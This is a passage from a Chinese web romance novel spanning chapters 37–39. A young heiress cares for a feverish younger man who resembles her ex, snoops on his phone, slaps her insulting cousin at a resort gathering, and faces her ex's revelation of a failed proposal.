姜砚哦了一声,闭上嘴。 翌日, 陆氏一行人,先是去了林封的公司。 他准备得很充分,PPT各方面阐述了自己和陆氏合作的优势,新研究出来的灯控产品,也是之后首推产品之一。 林封给他们演示了几种使用方式,通过简单的不同的手势,就能远距离完成开关灯,还能调节灯的亮度。 不仅能够提高年轻人的家居科技感,还能方便行动不便的老人晚上开灯。 用户范围广,产品新颖,是目前市场上还没有开辟过的领域。 其实样品早就寄到陆氏总部,策划案也交到了陆建林的手里,陆建林持赞同意见。 她一开始想成立一个新的品牌,后来想想,决定直接在D市这边成立一个分公司,方便后续的管理。 因为事情很多,林念禾在这边待了一个多星期。 几乎是一落地,傅阎的消息就蹦了出来。 对方想找她周六吃饭,去市郊的度假山庄钓鱼。 那天见完面后,傅阎这个人在她心里还行,会说话,情商高,可惜跟霍锌是发小。 他仿佛知道林念禾会拒绝,又发过来一条信息:【不止我一个,大家一群人聚着玩。】 后面列举出几个人名,林念禾眼皮一跳,看见一个自己最近很想搭上关系的名字,手指动动,回复他。 【不是鸿门宴吧?】 傅阎:【怎么可能,这么多人呢,我能吃了你不成?】 【哦,霍锌我也找了,他说有事要忙,不来。】 三木:【那我可周六拿着装备过去了。】 傅阎:【行啊,那我就等你了。】 林念禾到家,小男高没放学,她随便弄了点吃的,洗完澡躺在床上,累得眼皮都睁不开。 突然又爬起来,给助理发消息,让人帮忙挑一套最好的钓鱼装备。 睡意渐浓,她抱着被子睡过去。 少年放学到家,看见门口随手扔的行李箱,迟疑了一下,伸手拎起箱子放到墙角。 卧室的门开了一条缝,没有关严。 透过这条缝隙,视野里的林念禾安静地躺在床上,眼睫闭合,卸下了平时的包袱,像个小女孩儿抱着枕头,睡着了。 客厅的光撒进卧室里,他站在门口很久,静静地看着她的脸,心里莫名有块地方变得柔软。 无论什么年纪,什么时空,什么身份,只要那个人是她,自己就会为她心动。 仿佛胸腔里跳动的心,只为她而活。 他是绕着树生长的藤蔓,只有在林念禾身边,才能汲取养分生长,离开她,就会枯死。 爱意生根,扎进土壤,直到和血肉混在一起。 林念禾被漏进来的光刺了一下眼睛,皱眉翻身,腿下压着被子,脸埋在枕头里,睡裤被掀上去,露出来的小腿白的像羊脂。 男高中生抿唇,轻轻走进去,握住她的脚踝,替她盖上被子。 手触及温热的皮肤,他的手能够圈住她的脚踝,很细,滑腻。 不知道怎么的,他忽然联想到那天晚上做的梦。 林念禾情动的时候,会咬着他的唇,发出呜咽声,眼角泛泪,直到眼泪滑过脸颊落在他的锁骨,她轻轻颤抖,昭示某种状态的到达。 眼底情绪翻涌,霍锌抽出手,单膝跪在她的床边,注视她的睡颜。 这时的林念禾,毫无防备,哪怕自己对她做些什么,只要动作亲一点,不弄醒她,她就不会知道。 过了很久,膝盖微微发麻,他垂首闭眼在她的额头落下一吻。 房门悄悄被带上,房间内昏暗模糊,只有平稳的女孩呼吸声。 第二天, 林念禾醒来,准备去倒水喝,发现小男高的书包扔在客厅的地毯上,包里的练习册,可怜兮兮地东倒西歪从拉链口露头。 一看时间,早上九点,他上学没带书包吗? 她从厨房里出来,走到他的房间,抬手敲门。 里面传来一道有气无力的声音,"进来。" 推门进去,霍锌窝在床上,脸上有着不正常的红晕。 林念禾去探他额头的温度,烫的要命,拿体温枪测出来38度5。 "我给你请假,今天别去学校了。"她转身去翻医药箱里的退烧药,"最近感冒吗,怎么会突然发烧" 霍锌嗓子疼,靠在床头,就着她的手吞下药片,喝了口温水,看上去生无可恋。 怪不得别人都说高中生是个钻石一样的年纪,天知道他昨天晚上洗了多久的冷水澡才降下去身体里的那股燥热。 本来是想着自己解决一下,没想到解决之后,不一会儿就高傲地抬着头,对着自己。 真的是没开过荤,连和女朋友亲都没的亲,那个破梦加上和林念禾碰了一下,他仿佛被打开了什么开关,死活不能冷静。 霍锌这会儿看见林念禾就想起昨晚刺骨的冷,躺下去,翻身,背对着她,心里委屈。 林念禾坐在床边,没理他突然发疯的态度。 "吃完药如果温度下不去,我带你去医院打针。" 他嗓子跟刀割似的疼,哑声道,"没事,你上班去吧。" "今天没事,我去不去无所谓,别把你烧死了。" "……" 这是关心他。霍锌默默安慰自己,她果然在乎他,只是刀子嘴豆腐心。 "你身体素质一般呐,弟弟。" "……" 林念禾昨晚睡的很香,早上起来,精力旺盛,精神头好得不得了。 "我很少发烧,你别乱污蔑人。"霍锌翻身,烧得水润的眼眸望着她,"别欺负我,我都生病了。" "谁说你很少发烧。" "那我跟你在一起之后,你有见过我生病吗?" 反倒是林念禾,高中时期抵抗力弱,很容易感冒。 她看他一副病到任人揉搓的可怜模样,莫名很想欺负他。 林念禾挑眉,"那你破处第二天发烧怎么说" 第37章 第37章狐狸尾巴 躺在床上的人,瞳孔微震,好半天,张了张嘴,"什么?" 现在的他才十八岁,走在路上跟女朋友牵个手都算大尺度行为。 同年龄层的人,也 有私生活混乱到未成年就和对象睡到一张床上。霍锌对此非常嗤之以鼻,在他眼里能因为激素促使上床,都是烂人。 手无意识地抠着床单,眉毛皱在一块儿又舒展开,他看不起那些人归看不起,但夜深时分,也不是没幻想过以后。 在霍锌的期待中,第一次应该在某个夜晚,房间里燃着好闻的香薰,他把自己洗得干干净净,去碰她,亲她,在她的身上印上自己的烙印。 他抱着一丝侥幸,眼眶烧得发热,手往前挪了一节,去勾她的小拇指,"就只是发烧" 一定只有发烧。 多余的答案,他现在还承受不了。 "差不多吧。" 霍锌:"……" 什么叫差不多。 一颗少男心四分五裂,发出清脆的响声,霍锌眼皮合起来,神情恹恹,半张脸埋在枕头上,浑身散发着灰败的气息。 "你走吧,别管我了。" 林念禾看他这幅模样,心底发笑。 她18岁的时候,跟贺渺谈论起性,还会害羞到脸红,现在27岁,有些事,张嘴就来。 人果然无法共情以前的自己。 她还是想着留两分面子给他,才没全说出来。 林念禾替他掖了掖被子,"你先休息吧,等会儿我再进来帮你量体温。" 说着,她起身,手腕倏地被人攥住。 男生习惯睡觉穿短袖,劲瘦的胳膊往上是漂亮的肩膀肌,年轻的肉/体散发着青春的活力。 "林念禾。" 她回头同他对视,少年因为生病,额前的短发乖顺地趴在额头上,他肤色白,眼眸雾气氤氲。体温过高,脖颈泛起淡淡的粉色,顺着皮肤淹没进领口。 "你能抱我一下吗?" 他说得很小心翼翼,仿佛她只要露出一点点抗拒的意思,就能立马道歉后退。 平时再坚强的人,在生病的时候也会变得可怜软弱。 她叹了口气,终归是心软,弯腰轻轻抱他。 本意是想单纯地给他一个拥抱,却被对方摁进怀里。 他身上的温度很高,整个人像个热水袋一样往外冒热气。 霍锌的手很规矩地环在她的腰间,不再挪动,"你让我抱一下。" 与预想中的拥抱不太一样,但林念禾没有挣扎,安静地等着他松手。 时间一点点过去,直到她感觉胳膊微微发麻,身下的人呼吸平缓。 林念禾缓缓拿开他放在自己腰上的手,动作很轻地爬起来。 他似乎是察觉到怀里人的离去,手下意识往前抓了一下,抓住她的袖口。 从来没见过霍锌这么可怜的样子。 她在心里仅仅感动了一瞬,视线就被枕头旁边亮起来的手机屏幕吸引过去。 一条信息发进来,备注是个叫许老板的人。 【周天来不来】 她身体前倾,用空出来的手去拿手机。 霍锌的各类密码不难猜,不是他的生日,就是她的生日。 林念禾把自己的生日输进去,果然成功解锁。 她抬头看了一眼霍锌,睡得很沉,因为生病难受,眉毛轻蹙,手指紧紧抓着她的袖口,像溺水的人抱住水面上唯一的浮木。 虽然未经允许擅自翻别人的手机不太好,他们俩现在没有男女朋友关系,但霍锌学校那边监护人填的都是她的电话号码,怎么就不算半个家长呢? 他不太可能被别人蛊惑走上歪路,可是这个备注加上模棱两可的短信。 林念禾的好奇心一下被勾起来,比好奇更多的是担心他背着自己偷偷在外面干些违反法律法规的事情。 指尖点进聊天框,对话不多,大多是那位许老板单方面在问他要不要来,霍锌回得很冷漠,要么是来,要么是不来没空。 最上面的那条信息,是许老板给他发过来一个酒吧地址。 是她当时去接贺渺结果碰到他的那个酒吧。 说实话,把他强行带回家收留后,林念禾后悔过。尤其是在江予州躺在病床上时,霍锌还一个劲儿地挑衅他,一想起来那场景,她就一个头两个大。 为了让身边人不怀疑,她顺势还撒了好几个谎。 每次遇见28岁的霍锌,慌得像出轨的妻子,生怕对方发现自己偷藏一个跟他长得像的人。 看完寥寥几条短信,林念禾心里产生了一丝怀疑。 这聊天对话看着不像是被迫为了生活去陪酒,反倒更像对方求着他去坐场。 酒吧里的场景一帧一帧地在脑海里循环播放,五颜六色的灯光下,坐在富婆身边冷漠的男生,若有似无落在她身上的视线,她一往门外走,对方就起身跟过来。 算计得恰到好处,只不过他侧眸看她的眼神出奇平淡,没有诧异,反而像早知道她要来。 一礼拜挣二十万,她带他回来,只需要提供住处,压根不用操心生活费。 如同谋划好了一切,就等着她领他回家…… 林念禾轻轻地掰开他拽住自己的手,将手机熄屏放回原处。 门轻轻被人带上,屋内昏暗,霍锌头埋在被子里,在药物的作用下,睡得很沉。 这一觉睡到下午两点才醒,醒来的时候,他嗓子还是很疼,床头柜上摆了一杯水,少年喝了一口温水,起身,踩着拖鞋往外。 沙发上坐着一个熟悉的背影,目光触及的那刻,心底仿佛热流涌出,温暖的血液顺着心脏流到指尖,他握住门把的手顿了顿,眼角莫名有些发热。 霍锌很少生病,一旦病了,就会陷入一种极度缺乏安全感的状态。 这段时间,林念禾准备外地分公司的事情,忙得脚不沾地。他还以为,她会扔下自己,去公司开会。 少年抿抿唇,在看到她的那一瞬,心里如同落入一块大石,焦虑不安的情绪瞬间化为灰烬。 林念禾听见背后的响动,头也不回地道,"厨房里有红豆粥。" 他早上中午都没吃饭,闻言,即使没有胃口,依然听话地去厨房盛了碗粥出来。 嗓子疼,说不了太多的话。 霍锌就坐在地毯上,一言不发地喝粥。乐乐绕着他转了两圈,也安静地坐在他身边。 像两条小狗坐在一块取暖,只不过霍锌的背后没有尾巴。 林念禾平静地看了他一眼,视线回到手中的ipad上。 不急,是狗还是狐狸,总得先抓住尾巴。 喝完粥,霍锌还是有点浑身难受无力。 更难熬的是整个过程林念禾没有问他一句粥好不好喝,甚至没有问他烧不烧,头疼不疼。 被人忽视的感觉比身体四处的酸痛更让人无法忍受,极度缺爱的状态下,无人关心,仿佛有无数只蚂蚁攀爬上来啃食他的心脏。 少年眼眸下垂,余光扫到她搭在腿边的手,他静了一会儿,忽地牵起她的手。 林念禾被这温热的触感吓了一跳,手心贴着他的额头。 "怎么了?" 他上半身凑近,眼眸认真地注视她,嗓音微哑,"摸摸还烫吗?" "不烫了。"林念禾仔细地感受了一下手心的温度,比先前那会儿烫手要好很多,但也不知道有没有烧。 吃过药后,她给他量过两次体温,一次比一次接近正常温度。 林念禾放下手里的东西,去找放在医药箱里的体温枪,扔给他,"自己再测一下,我去午睡了。" 话落,径直进入自己的房间。 客厅里静悄悄的,窗户开了一条小缝,风从里面涌进来,吹得出窗帘乱晃。 一如少年茫然的状态。 上午的时候,林念禾还抱了他。 他们的关系日益可见地在变得亲密,林念禾已经隐隐约约地降低了心里的那条防线。 只不过,现在好像一朝回到解放前。 霍锌头靠在沙发上,仔仔细细把今天的事全部在脑海里回忆了一遍,死活想不出来到底哪里出现差错。 周六, 小男高周六补课,学校一周只有周天放假。 她起床收拾好自己,点开昨天傅阎发来的地址。 地图定位一下,导航显示开车过去要一个多小时。 别墅群落在半山腰上,一栋和一栋之间隔得很远,三月份的 天,已经有樱花开了,绿色点缀粉色,景色宜人。 林念禾到的时候,院子里已经有不少人了。 傅阎一看见她,就上来对着别人介绍,她是陆氏的小林总。 在场的都是人精,或多或少听过陆家认回来一个女儿,还是陆建林的独女。 有个女生笑了笑,碰碰旁边人的胳膊,小声说,"陆烨甸还想着继承陆氏,这下做梦做空了吧。" 被碰的男生跟着一笑,"你说话声音小点,别让他听见了。不然可要对着你发脾气。" 女生无所谓地耸肩,"我难道怕他?" 一个仗着和陆氏有点血缘关系就四处嚣张跋扈的废物,她跟他怎么可能一样。 男生浅浅地笑了一下,笑意不达眼底。她笑别人是个穷亲戚,自己不也是被爸妈踢出来没有继承权的女儿吗。 今天说是钓鱼,实际是傅阎他表哥的度假山庄新开业,拉了一群圈里的人过来助势。 林念禾回到陆家后,还没真正参加过这种聚会。 四面八方来的视线,有歧视,有好奇,有不屑。 陆家是块肥肉,但陆建林没有生育能力,这些年来也没有带继承人露过面,所有人都以为这份继承权会落在旁支身上的时候,林念禾杀出来了。 没有一句解释,但他们都知道她是陆建林唯一的孩子,即使她可能是个上不了台面的私生子,却依然握有最大的继承权。 傅阎看出她不适应,拉着她,"走,我带你钓鱼去。" 他说钓鱼,就是真的钓鱼。 傅阎东挑西选找了一块好地方,有人帮他们支好鱼竿,准备好东西,就退到远处。 林念禾握着自己新买的鱼竿,对着水面发呆。 "等我钓上来,晚上让他们做给你尝尝。" 她点头,问,"怎么没看见你表哥" "他和齐总不知道上哪去了,可能找其他地方喝茶去了。" 林念禾眼睫微动,"我还没跟你哥打招呼呢,今天过来做客总要跟他问个好。" 傅阎注意力都在水面上,"行,等会儿带你去。" 两个人静静地坐了一会儿,山里空气新鲜,耳边安静,只有山林里的飞鸟声,林念禾第一次明白为什么有些人喜欢钓鱼,放空自己的感觉确实很美好,除了……钓不到鱼。 傅阎那边也没有鱼咬钩,但他不着急,平静如水。 余光压下一个人影,有对陌生男女过来,站到她旁边。 女生看了一会儿,就想拉着男生走,"我饿了,咱们先去吃点东西" 男生不动,没理她,对着林念禾喊道,"堂姐,好久不见。" 林念禾打了个哈欠,疑惑这阴阳怪气的声音从哪来的,偏头看见人脸。 哦,是她的蠢堂弟。 陆烨甸对着她扯了下唇,恶意道,"你和傅阎关系什么时候变得这么好了,不知道还以为你们是一对情侣。" 傅阎骂人的脏话刚到嘴边,视线越过他,看见不远处立着的某个他等了半天的男人,心肝不由得一颤。 第38章 第38章我要脸 陆烨甸见傅阎不说话,以为自己猜对了,这两个人就是有见不得人的关系。不然林念禾刚回来不久,怎么能在短短时间内同傅家交好。 傅阎这人眼高于顶,同不合眼缘的人向来说不了三句话。想到自己打破脑袋都想讨好的人,轻飘飘地被林念禾拿下,陆烨甸难受至极,恨不得把她踢进水里。 当然,这只能想想。 她没回来之前,小时候过年他拿到的压岁钱是最多的,也是陆建林最喜欢的小辈。在同辈的哥哥弟弟们绞尽脑汁讨好陆建林,期望得到进入陆氏的机会时,他已经当上了分公司的副总。 所有人包括他自己,都坚定地以为陆氏未来会是他的,他的名字必然会被写在有关陆氏的遗嘱上。 林念禾回来了。 甚至她都不姓陆,却能凭着一份血缘关系,得到陆家的一切。 他身侧的女伴看出气氛不对,劝道,“咱们换个地方吧,我腿都走累了,想回去休息。” 身为陆烨甸的女友,她在学校里是有一点点比旁人多出来的优越感。但在这种随手扔块石头都能砸死有钱人的环境里,这点优越感化为了浓浓的不安。 更何况面前的这两个人,无论是气质还是长相都各方面吊打陆烨甸,看着就不像好惹的主。 “我就是问问而已,念禾姐要是觉得不方面说,我就闭嘴,也不会告诉叔叔。”陆烨甸把胳膊从女友的怀里抽出来,眼睛直勾勾地盯着她,挑衅道,“叔叔身体不好,经不住你的气。” 林念禾甩了甩鱼竿,笑了下。 看见这抹笑,陆烨甸火气一下子上来,说话声音陡然冷下去,“念禾姐回来这么久了,怎么不来给我爸妈问问好,过年的时候也没见过你上家里拜年。” 听见这话,本来在思考等会儿怎么跟霍锌解释的傅阎,抬眼看了他一眼。 谁不知道,陆家底子薄,从陆建林发家到现在,也就堪堪两代,小辈吃的还是上一代的老本。 如果说陆家是一颗大树,那么陆建林就是牢牢扎进土壤深处,不断向着其他枝干输送养分的根系,其他人则是纤细的树枝。 陆烨甸拥有的一切都靠着林念禾的亲爸,居然还想着她降低姿态去给他爸妈拜年。 能说出拿长辈姿态压人的话,要么是脑子进水,要么就是蠢坏。他睨了眼面前的人,觉得对方应该是小时候生病爸妈带去兽医院看的病,不然怎么能这么傻叉。 林念禾不太想理他,拿陆建林当借口回道,“最近有点忙,我爸让我多过段时间再说。” 特意上门拜访是不可能的,顶多找个时间,把陆家人凑一起,在家宴上向各位叔叔婶婶问个好。 陆烨甸深知这点,所以嫉妒的火焰烧得更盛。 “你和叔叔做了亲子鉴定吗,这些年找上门来的私生子很多,结果都是爹不详,妈感情史凌乱的杂种。陆家的门不是谁都能进的。” 陆建林的上一段婚姻结束在十几年前,一个二十多年都没回过陆家的孩子,冷不丁出现在大众眼前,任谁都会怀疑真实性。而且林母当年仅仅因为陆建林出轨就放弃了所有财产,只带着孩子走了。 这不奇怪吗? 他爸妈说的对,如果不是心虚,怎么会有人愿意让孩子放弃巨额财产,跟着自己过苦日子。 傅阎皱眉,这话说的太难听了,转着弯骂人没爹似的。 他刚想替她回嘴,身边的林念禾站起来。 一道清脆的巴掌声突然响起,在寂静的山林里格外悦耳。 陆烨甸傻愣愣地站在原地,左侧脸颊迅速浮起大片红色,极大的疼痛过后是麻木。 女友被这巴掌吓得尖叫一声,往后退了几步。 "你敢打我"他眼睛泛红,声音不可思议,"你一个在外面那么多年的野种,居然敢动手打我,你知不知道叔叔……" 话没说完,另一个巴掌打断他的话。 林念禾吹吹自己打疼的手,怪累人的。她打人的时候用了巧劲,几分的力气落在对方的脸上可是实打实的。 望着被自己扇出来的一左一右的红巴掌,林念禾微微仰头,眼神淡漠,"在外嘴贱,容易被人扇。你爸妈不教你,只能我来教你了。" "还有,你爸妈是死了吗,所以急着要我去给他们上香。不然我想不明白,怎么养出来你这么个嘴贱没人管的儿子。满身的优越感到底从哪来的,是靠着陆建林对你的那么点怜爱吗,可他还是不把公司给你。" 被骂的人脸色一点点青下去。 林念禾伸手替他拍了拍衣领,掸去表面不存在的灰尘,"一定很恨我吧,可惜没用。我身上流着我爸的血,你只是一个亲戚家的小孩儿。平时做梦是不是都在想自己为什么不是他的亲儿子,我告诉你为什么,因为你没我命好。" 一字一句仿佛钢针似地戳破他的内心,他恨命运不公,没有投个好胎。 偏偏这一些都被林念禾轻轻松松地得到手了。 陆烨甸面色铁青,女友想安抚他,却被他一把推开,摔倒在地上。 林念禾嘲讽地笑出 声,"怎么,弟弟这就生气了" 话落,他的理智彻底被怒火烧干,胸腔里充斥着暴虐。 有钱带给他的不是良好的教养,而是肆无忌惮的个性。 陆烨甸的手刚扬起在空中,就被身侧出现的一只手倏地握住。 对方力气比他大得多,陆烨甸抬眼看过去,瞧见一张脸,怒气瞬间被浇灭一半。 霍锌比他高,居高临下地垂眸望他,明明没说话,周身的气息却朝他压迫过来,眼底蕴藏着危险。 仿佛那个巴掌如果落下,他下一秒就得以死谢罪。 "霍总,这是我们的家事。"陆烨甸摸不清他和林念禾的关系,咬着牙好声好气道,"请您放开手。" 霍锌听见他的话仿若未闻,视线落在林念禾的身上,等她发号施令。 林念禾活动了下手腕,不等众人反应,又抬手给了陆烨甸一巴掌,这下比之前加起来的都要重。 他的脸颊红肿,眼前一片眩晕,点点星花浮在视网膜上。 眼泪都快被打下来了,顾不上其他人在场,骂道,"林念禾,你妈的是不是脑子有病。你等着,我不弄死你,我就不姓陆。" "你不姓陆,还想跟我姓林" 她手微微抬起,陆烨甸条件反射似地躲闪,躲完后才感觉丢人丢到家了。 傅阎站起来,打圆场赶人,"时间不早了,陆少爷脸上这伤还要处理。" 话落,朝远处的工作人员招手,让人带他去涂药。 陆烨甸挣扎两下,看见挡在林念禾面前的两个男人,嚣张的气焰矮下去半截,没有一个是他能惹得起的,于是半推半就地走了。 临走前,还狠狠地瞪了林念禾一眼,眼神恶毒,恨不得当场弄死她。 她等着,他迟早会把她踢出陆家。 人走后,瞬间清净下来。 纵使傅阎见过大场面,也被林念禾的行为震撼到了。 陆烨甸嘴贱不假,换作其他女生,脾气软的估计会被气哭,脾气好的会跟他理论。但不理论,直接骂人是孤儿,然后给了三巴掌的女生,他长这么大还是头一次见。 他眼神微妙地看了一眼霍锌,不同于他,对面的男人正攥着林念禾的手,眉毛微蹙,仔细端详。 傅阎:…… 他快爱死了。 霍锌望着泛红的手掌,朝工作人员拿了张湿巾,帮她擦拭手心。 "为什么跟这种人生气" "因为他贱。" 话尾一落,霍锌瞧了她一眼,擦拭的动作顿住,片刻后,平静地回道,"你理解错了,我不是在怪你,下回不用自己动手,巴掌落在他身上,你也会疼。你可以让傅阎替你动手。" 傅阎: "你就不奇怪我为什么骂他" 林念禾以前是个很有礼貌的小孩儿,林母管得严,不让她说脏话。所以她上班之前连骂人都不会,上班之后再气也只会在心里骂。 她回忆了一下,这好像是第一次在霍锌面前骂人。 骂得还很难听。 管他呢,早分手八百年了,难不成还要在乎自己的形象 霍锌擦完她的手,把用过的湿纸巾放进包装袋里,递给工作人员。 语气不在乎,"因为他惹你生气了。" 他捏捏她的手,有些不想放开,"我惹你生气,你也可以骂我。" 傅阎彻底听不下去这顶级舔狗的发言,开始赶人,"你带她去休息一会儿吧。" 经过陆烨甸的打扰,林念禾没什么心情继续钓鱼,于是点头,"祝你能钓到。" 霍锌带她去了一栋独立的别墅,林念禾站在院子里,立在原地不走了。 她以为的休息是回傅阎给她安排的房间,面前这套房子明显是霍锌自己的住处,安静偏僻。 “累了?” 林念禾摇头,漂亮的眼睛注视他,“我今天晚上住这里?” “你在害怕吗?”霍锌没有回答她的问题,“我以为经过上次,你不会怕我的。” 他不说还好,一提起往事,那天晚上的画面跟放小电影似的在脑子里不停转。 最后没做,他们就纯亲了两口,摸了两下。 开口挽留的是他,拒绝的是她。 想起傅阎邀请她时说这人没空来不了,林念禾心底隐隐有个猜测。 他可能是想吃回头草了。 但是吃回头草的话,按照霍锌的性格,不该是这种若即若离的态度。 所以是想纯跟她发展□□关系 "我没有害怕,只是觉得孤男寡女独处一室,不太合适。" 霍锌靠在门边看她,"我还没不要脸到能三番五次爬上别人的床。" 说完,他觉得自己语气跟怨夫一样,跟着找补,"傅阎晚上也住在这里。" 疑虑被打消,林念禾迈步进门。 她的房间被安排在二楼最左侧,落地窗外是大片的湖泊,白色的飞鸟掠过水面,掀起波痕。 霍锌很有分寸感地没进去,"阿姨在楼下,有事可以问她。" 林念禾态度比站在院子里的时候要好了不少,"谢谢。" 房门被关上,房间里静悄悄。 她躺在床上,点开手机,陆建林没有发消息骂她,估计是小太监还没来得及向他告状。 随手关掉手机,眼睛刚闭上,思绪莫名回到霍锌身上。 他说话向来算数,证明霍锌大概是对自己没兴趣了,并且还急切地希望能够把之前爬床未果的事翻篇。 男人是最要脸的物种,更何况是霍锌这种有钱有脸有身材的男人。 快要睡过去的那刻,林念禾脑子陡然清醒一瞬。 她房间反锁了吗? 于是硬撑着爬起来,把门上钥匙拔掉,反锁,行云流水地干完后,眼皮阖上,陷入睡眠。 时间一点点过去,走廊深处挂着的钟表指针转动,不知道过了多久,楼梯口传来脚步声。 男人停在房间门口,低头看见拔掉钥匙的锁,握上门把的手一顿,状若无事地收回手。 霍锌站在门口待了一会儿,才提步离开。 现在都开始对他有防备心了…… 第39章 第39章三年前的求婚 林念禾的午觉睡了两个多小时,远离城市,没有车笛声,只有鸟叫,风吹树叶沙沙作响。一觉睡醒,神清气爽。 她踩着拖鞋下楼的时候,墙壁上的挂钟时针指向一点。胃部传来饥饿感,一楼客厅里空荡荡的,从厨房走出一个人。 霍锌手上还沾着水滴,拿纸巾不紧不慢地擦手,慢条斯理道,“我炖了鱼汤,要尝尝吗?” 手指关节泛红,他把纸巾扔进垃圾筐里,抬手把身上系着的蓝色围裙摘下来。平时在外拒人三尺的冷漠气质荡然无存,整个人透露出一股人夫的温馨感。 林念禾心里觉得奇怪,面上没表现出来。 霍锌做饭并不是一件稀奇事,起码三年前的她早就习惯了来自于他的各种投喂。但这种熟悉的态度,还是让林念禾的心微微一颤。 男人替她盛了一碗汤出来,林念禾随手抽开板凳坐下。 餐厅很明亮,大片的阳光照进来,落在地面,立在角落里的花瓶拖出长长一道影子。 林念禾头发散在肩侧,用手拢了拢耳边的碎发,低头时还是掉下来几缕。 坐在面前的男人忽而站起来离开,过了一会,回来时手里多出一个白色发圈。 他径直走到她的背后,手刚要触碰到柔顺的黑发,似乎想起来什么,转而点点她的肩头。 "扎起来,更方便一点。" 林念禾放下勺子,接过发圈,"谢谢。" 随手绕了几圈,一个漂亮的低马尾垂在脑后。 霍锌低低地注视着她因为抬起胳膊而露出 的一截细腰,很白,很软。 好想咬一口…… "听说晚上有烟花"林念禾觉得气氛太过安静,索性自己找个正常话题。 身后的男人嗯了一声,回到原位,同她面对面坐着。 "后山还有赛车比赛,要看吗?" 基本都是二十出头的年纪聚在后山玩车,闹起来一个比一个胆大。 林念禾轻轻摇头,她没什么兴趣。 饭桌上沉默了一会儿,她自顾自地搅着汤匙。 傅阎一进来,就看见这两个人坐在一起的画面,有些受不了地抖抖鸡皮疙瘩,冲着餐厅走过去。 "你前脚一走,我后脚就钓上来一条两斤重的鲫鱼。" "这么厉害" 他坐到霍锌的身边,下巴一抬,"现在搁你碗里呢。" "我这边一钓上来,霍锌就弄进锅里炖了等你起床,说起来,我还没尝过他的手艺。" 霍锌把他搭在自己肩膀上的手肘拿下来,淡声道,"锅里还有,要吃自己去弄。" 傅阎也不计较他人前一套,背后一套,得了话,立刻冲着厨房去了。 林念禾扶着碗的手,落到桌沿,没什么情绪地说道,"谢谢。" 在门口的时候,信誓旦旦说自己要脸,不可能第二次爬上她的床。 但看着他洗手作羹汤的行为,她觉得这人可能真的要试着爬第二次床。 晚上睡觉前,她得锁门。 霍锌扯了下唇,见她疏离的态度,手指点点桌面,"不用谢。" 吃的差不多了,林念禾想起来自己今天要找齐总刷刷脸,在他面前混个眼熟。 傅阎的用餐礼仪向来很好,吃饭时一点声音没有,动作优雅。 他也并不多饿,简单喝了两口汤,就带着林念禾找人去了。 他哥跟齐总两个人在侃大山,傅阎推门进去的时候,茶室里坐着的两个男人齐齐看过来。 傅阎给他们介绍,"林念禾,陆氏的林总,我朋友。" 傅表哥递给她一杯茶,"尝尝好喝吗?" 茶水入口清香,一点苦涩都没有,哪怕林念禾不懂茶,也知道这价格估计贵得吓人。 "好喝。" 他眉眼沾上点笑意,又给傅阎和霍锌一人递了一杯,"齐总刚可说我这茶叶一文不值。" 被点到名字的男人,轻哼了一声,眼神落在霍锌身上,"霍总,好些年没见了。" 他做自媒体平台出身,旗下多家MCN公司。专门带货,签约网红。 现在的时代和以前的传统实体店不同,头部主播一天的销量有时候就能顶得上某些公司一年的实体销售额。 林念禾想着在人跟前混个脸熟,也是为了方便新品牌的后期宣传。 霍锌扫了对方一眼,"好久不见。" 齐总是个三十多岁的中年男人,结婚不少年了,孩子都上小学了,乍一看见霍锌,顿时八卦心上来。 "之前我们公司没给出好的方案,没耽误你的大事吧?" 他话说的小心翼翼,傅阎动作一顿,嘴快问道,"什么大事" 齐总摸摸自己的脑袋,"我以前开过一家专门给人布置求婚现场的婚庆公司,霍总几年前找过我一次,结果设计师那段时间状态不好,怎么弄都弄不出来满意的场景,最后不了了之。" "其实设计师有时候弄出来的方案还不如正主亲自上场,我跟我老婆求婚的时候,就是自己琢磨的,她哭得稀里哗啦,妆都花了。" 他喝了口茶,"霍总的女朋友当时哭了吗?\" 气氛忽地冷下去,傅阎尴尬地想笑,却笑不出来。 林念禾捧着茶杯,低头看杯子里浅褐色的茶水。 偏偏齐总还自己给自己找补,"不哭也没事,求婚嘛,就得高高兴兴的。" 室内温度好似骤然冷下去,霍锌偏头看见坐在自己身边,头快埋到地下的女人,平静地开口,"分手了,没成功。" "……" 茶室里突然陷入死一样的安静。 齐总僵在原地,想起来三年前霍家出事,多半是那个时候分的手。 面前的男人仅仅三年就弄垮了霍氏,不留情面地把自己的亲戚全部送进监狱,手段果决狠厉。 这样的人,却被前女友拒绝求婚。 齐总后背冒了一层薄汗,正当大脑飞快旋转怎么救场时,听见那道男声淡淡道,"她结婚了,不过好像最近又离婚了。" 林念禾的心悬到嗓子眼,扑通扑通狂跳。 她要弄死霍锌。 她怎么都不知道他要跟她求婚,尽往她身上泼脏水,而且当年明明是他甩的自己。 齐总看上去就是个嘴不严的,说不定他知道了,整个圈子里就都知道了她跟霍锌的往事,她以后怎么混 林念禾手抠着茶杯底,空气好似挤压她的肺腔,令她无法呼吸。 齐总打着哈哈,安慰他,"是吗,结婚其实也没有多好的,老话说婚姻是爱情的坟墓。" 霍锌笑了下,没搭话,漆黑的眼眸深处满是看不清的情绪。 就算是坟墓,他也得跟林念禾手牵手躺在一个棺材里。 傅阎终于受不了这该死的氛围,起身把窗户开大点,清风灌进来,他猛吸了一口,"哥,你这地方找得真好。" "不是给你留了一套房子吗,没事可以多过来玩。" 话题掀过去,林念禾喝了两杯茶后,思绪渐渐回笼,她开始跟齐总搭话。 齐总比想象中的,性格要好得多,跟谁都能聊两句。 做互联网产品的人,眼光总比别人要远一些。她简单和他聊了两句,齐总就把联系方式给了她,打算后面再找个时间仔细聊聊。 聊完正事,就扯到私事上了。 但顾忌着刚在霍锌那里踩了雷,他不敢问多,见林念禾气质出众,长相数一数二,于是随口问道,"有对象吗?" 林念禾顿了下,"不着急。" "你爸估计是舍不得你这个女儿,听说凡是和相亲沾一点边的宴会,全都帮你拒了。" 陆建林是怕她又看上个不能拿出手的男人。 她刚想换个话题,手背突然贴上来一抹温热。 男人的手指勾着她的手腕,下滑,摩挲过掌心,像是在重复那晚玩弄她的步骤。 齐总接着道,"年轻不着急,多看看外面的世界,才知道自己更适合什么样子的人。" 拢住她的手渐渐收紧,掌心紧贴,分开她的指缝,十指相扣。 霍锌面上淡定,拇指指腹反复摸着她虎口处滑腻的皮肤,"齐总说的对。" 酥麻感攀爬上后脑,心仿佛浮在高空中悬悬欲坠,害怕人发现的紧张感盖过一切,林念禾嗓子发干,张了张嘴,胡乱嗯了几声。 齐总看了下时间,忽地起身。 "时间不早了,我还有事先走一步。" 